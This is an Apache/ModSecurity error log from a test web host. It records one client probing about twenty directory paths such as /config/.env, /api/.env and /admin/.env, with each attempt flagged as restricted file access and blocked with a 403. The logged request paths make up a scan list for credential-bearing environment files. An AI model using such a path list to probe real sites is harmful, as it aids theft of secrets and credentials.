[Wed Oct 01 11:03:00.337222 2025] [:error] [pid 3143118] [client 15.222.46.37:53390] [client 15.222.46.37] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/Datavase/.env"] [unique_id "aNzuRCvYtAD5qsA3PJMy4wAAAAI"], referer: https://www.google.com/
[Wed Oct 01 11:03:00.563078 2025] [:error] [pid 3143118] [client 15.222.46.37:53390] [client 15.222.46.37] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /database/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/database/.env"] [unique_id "aNzuRCvYtAD5qsA3PJMy5AAAAAI"], referer: https://www.google.com/
[Wed Oct 01 11:03:00.563537 2025] [:error] [pid 3143118] [client 15.222.46.37:53390] [client 15.222.46.37] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/database/.env"] [unique_id "aNzuRCvYtAD5qsA3PJMy5AAAAAI"], referer: https://www.google.com/
[Wed Oct 01 11:03:00.563724 2025] [:error] [pid 3143118] [client 15.222.46.37:53390] [client 15.222.46.37] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/database/.env"] [unique_id "aNzuRCvYtAD5qsA3PJMy5AAAAAI"], referer: https://www.google.com/
[Wed Oct 01 11:03:00.789335 2025] [:error] [pid 3143118] [client 15.222.46.37:53390] [client 15.222.46.37] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env"] [unique_id "aNzuRCvYtAD5qsA3PJMy5QAAAAI"], referer: https://www.google.com/
[Wed Oct 01 11:03:00.789806 2025] [:error] [pid 3143118] [client 15.222.46.37:53390] [client 15.222.46.37] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env"] [unique_id "aNzuRCvYtAD5qsA3PJMy5QAAAAI"], referer: https://www.google.com/
[Wed Oct 01 11:03:00.789987 2025] [:error] [pid 3143118] [client 15.222.46.37:53390] [client 15.222.46.37] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env"] [unique_id "aNzuRCvYtAD5qsA3PJMy5QAAAAI"], referer: https://www.google.com/
[Wed Oct 01 11:03:01.015395 2025] [:error] [pid 3143118] [client 15.222.46.37:53390] [client 15.222.46.37] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /assets/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/assets/.env"] [unique_id "aNzuRSvYtAD5qsA3PJMy5gAAAAI"], referer: https://www.google.com/
[Wed Oct 01 11:03:01.015855 2025] [:error] [pid 3143118] [client 15.222.46.37:53390] [client 15.222.46.37] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/assets/.env"] [unique_id "aNzuRSvYtAD5qsA3PJMy5gAAAAI"], referer: https://www.google.com/
[Wed Oct 01 11:03:01.016048 2025] [:error] [pid 3143118] [client 15.222.46.37:53390] [client 15.222.46.37] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/assets/.env"] [unique_id "aNzuRSvYtAD5qsA3PJMy5gAAAAI"], referer: https://www.google.com/
[Wed Oct 01 11:03:01.240838 2025] [authz_core:error] [pid 3143118] [client 15.222.46.37:53390] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/.env, referer: https://www.google.com/
[Wed Oct 01 11:03:01.466807 2025] [:error] [pid 3143118] [client 15.222.46.37:53390] [client 15.222.46.37] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /apps/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps/.env"] [unique_id "aNzuRSvYtAD5qsA3PJMy6AAAAAI"], referer: https://www.google.com/
[Wed Oct 01 11:03:01.467276 2025] [:error] [pid 3143118] [client 15.222.46.37:53390] [client 15.222.46.37] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps/.env"] [unique_id "aNzuRSvYtAD5qsA3PJMy6AAAAAI"], referer: https://www.google.com/
[Wed Oct 01 11:03:01.467464 2025] [:error] [pid 3143118] [client 15.222.46.37:53390] [client 15.222.46.37] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps/.env"] [unique_id "aNzuRSvYtAD5qsA3PJMy6AAAAAI"], referer: https://www.google.com/
[Wed Oct 01 11:03:01.693305 2025] [:error] [pid 3143118] [client 15.222.46.37:53390] [client 15.222.46.37] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /uploads/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/uploads/.env"] [unique_id "aNzuRSvYtAD5qsA3PJMy6QAAAAI"], referer: https://www.google.com/
[Wed Oct 01 11:03:01.693763 2025] [:error] [pid 3143118] [client 15.222.46.37:53390] [client 15.222.46.37] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/uploads/.env"] [unique_id "aNzuRSvYtAD5qsA3PJMy6QAAAAI"], referer: https://www.google.com/
[Wed Oct 01 11:03:01.693948 2025] [:error] [pid 3143118] [client 15.222.46.37:53390] [client 15.222.46.37] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/uploads/.env"] [unique_id "aNzuRSvYtAD5qsA3PJMy6QAAAAI"], referer: https://www.google.com/
[Wed Oct 01 11:03:01.933528 2025] [:error] [pid 3143118] [client 15.222.46.37:53390] [client 15.222.46.37] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /sitemaps/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/sitemaps/.env"] [unique_id "aNzuRSvYtAD5qsA3PJMy6gAAAAI"], referer: https://www.google.com/
[Wed Oct 01 11:03:01.934040 2025] [:error] [pid 3143118] [client 15.222.46.37:53390] [client 15.222.46.37] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/sitemaps/.env"] [unique_id "aNzuRSvYtAD5qsA3PJMy6gAAAAI"], referer: https://www.google.com/
[Wed Oct 01 11:03:01.934254 2025] [:error] [pid 3143118] [client 15.222.46.37:53390] [client 15.222.46.37] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/sitemaps/.env"] [unique_id "aNzuRSvYtAD5qsA3PJMy6gAAAAI"], referer: https://www.google.com/
[Wed Oct 01 11:03:02.160298 2025] [:error] [pid 3143118] [client 15.222.46.37:53390] [client 15.222.46.37] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /saas/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/saas/.env"] [unique_id "aNzuRivYtAD5qsA3PJMy6wAAAAI"], referer: https://www.google.com/
[Wed Oct 01 11:03:02.160760 2025] [:error] [pid 3143118] [client 15.222.46.37:53390] [client 15.222.46.37] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/saas/.env"] [unique_id "aNzuRivYtAD5qsA3PJMy6wAAAAI"], referer: https://www.google.com/
[Wed Oct 01 11:03:02.160952 2025] [:error] [pid 3143118] [client 15.222.46.37:53390] [client 15.222.46.37] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/saas/.env"] [unique_id "aNzuRivYtAD5qsA3PJMy6wAAAAI"], referer: https://www.google.com/
[Wed Oct 01 11:03:02.388513 2025] [:error] [pid 3143118] [client 15.222.46.37:53390] [client 15.222.46.37] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aNzuRivYtAD5qsA3PJMy7AAAAAI"], referer: https://www.google.com/
[Wed Oct 01 11:03:02.388981 2025] [:error] [pid 3143118] [client 15.222.46.37:53390] [client 15.222.46.37] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aNzuRivYtAD5qsA3PJMy7AAAAAI"], referer: https://www.google.com/
[Wed Oct 01 11:03:02.389190 2025] [:error] [pid 3143118] [client 15.222.46.37:53390] [client 15.222.46.37] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aNzuRivYtAD5qsA3PJMy7AAAAAI"], referer: https://www.google.com/
[Wed Oct 01 11:03:02.614390 2025] [:error] [pid 3143118] [client 15.222.46.37:53390] [client 15.222.46.37] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /psnlink/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/psnlink/.env"] [unique_id "aNzuRivYtAD5qsA3PJMy7QAAAAI"], referer: https://www.google.com/
[Wed Oct 01 11:03:02.614858 2025] [:error] [pid 3143118] [client 15.222.46.37:53390] [client 15.222.46.37] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/psnlink/.env"] [unique_id "aNzuRivYtAD5qsA3PJMy7QAAAAI"], referer: https://www.google.com/
[Wed Oct 01 11:03:02.615054 2025] [:error] [pid 3143118] [client 15.222.46.37:53390] [client 15.222.46.37] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/psnlink/.env"] [unique_id "aNzuRivYtAD5qsA3PJMy7QAAAAI"], referer: https://www.google.com/
[Wed Oct 01 11:03:02.841022 2025] [:error] [pid 3143118] [client 15.222.46.37:53390] [client 15.222.46.37] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /exapi/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/exapi/.env"] [unique_id "aNzuRivYtAD5qsA3PJMy7gAAAAI"], referer: https://www.google.com/
[Wed Oct 01 11:03:02.841483 2025] [:error] [pid 3143118] [client 15.222.46.37:53390] [client 15.222.46.37] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/exapi/.env"] [unique_id "aNzuRivYtAD5qsA3PJMy7gAAAAI"], referer: https://www.google.com/
[Wed Oct 01 11:03:02.841671 2025] [:error] [pid 3143118] [client 15.222.46.37:53390] [client 15.222.46.37] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/exapi/.env"] [unique_id "aNzuRivYtAD5qsA3PJMy7gAAAAI"], referer: https://www.google.com/
[Wed Oct 01 11:03:03.067521 2025] [:error] [pid 3143118] [client 15.222.46.37:53390] [client 15.222.46.37] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /site/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/site/.env"] [unique_id "aNzuRyvYtAD5qsA3PJMy7wAAAAI"], referer: https://www.google.com/
[Wed Oct 01 11:03:03.068006 2025] [:error] [pid 3143118] [client 15.222.46.37:53390] [client 15.222.46.37] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/site/.env"] [unique_id "aNzuRyvYtAD5qsA3PJMy7wAAAAI"], referer: https://www.google.com/
[Wed Oct 01 11:03:03.068199 2025] [:error] [pid 3143118] [client 15.222.46.37:53390] [client 15.222.46.37] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/site/.env"] [unique_id "aNzuRyvYtAD5qsA3PJMy7wAAAAI"], referer: https://www.google.com/
[Wed Oct 01 11:03:03.293169 2025] [:error] [pid 3143118] [client 15.222.46.37:53390] [client 15.222.46.37] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "aNzuRyvYtAD5qsA3PJMy8AAAAAI"], referer: https://www.google.com/
[Wed Oct 01 11:03:03.293636 2025] [:error] [pid 3143118] [client 15.222.46.37:53390] [client 15.222.46.37] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "aNzuRyvYtAD5qsA3PJMy8AAAAAI"], referer: https://www.google.com/
[Wed Oct 01 11:03:03.293818 2025] [:error] [pid 3143118] [client 15.222.46.37:53390] [client 15.222.46.37] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "aNzuRyvYtAD5qsA3PJMy8AAAAAI"], referer: https://www.google.com/
[Wed Oct 01 11:03:03.519315 2025] [:error] [pid 3143118] [client 15.222.46.37:53390] [client 15.222.46.37] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /web/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web/.env"] [unique_id "aNzuRyvYtAD5qsA3PJMy8QAAAAI"], referer: https://www.google.com/
[Wed Oct 01 11:03:03.519786 2025] [:error] [pid 3143118] [client 15.222.46.37:53390] [client 15.222.46.37] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web/.env"] [unique_id "aNzuRyvYtAD5qsA3PJMy8QAAAAI"], referer: https://www.google.com/
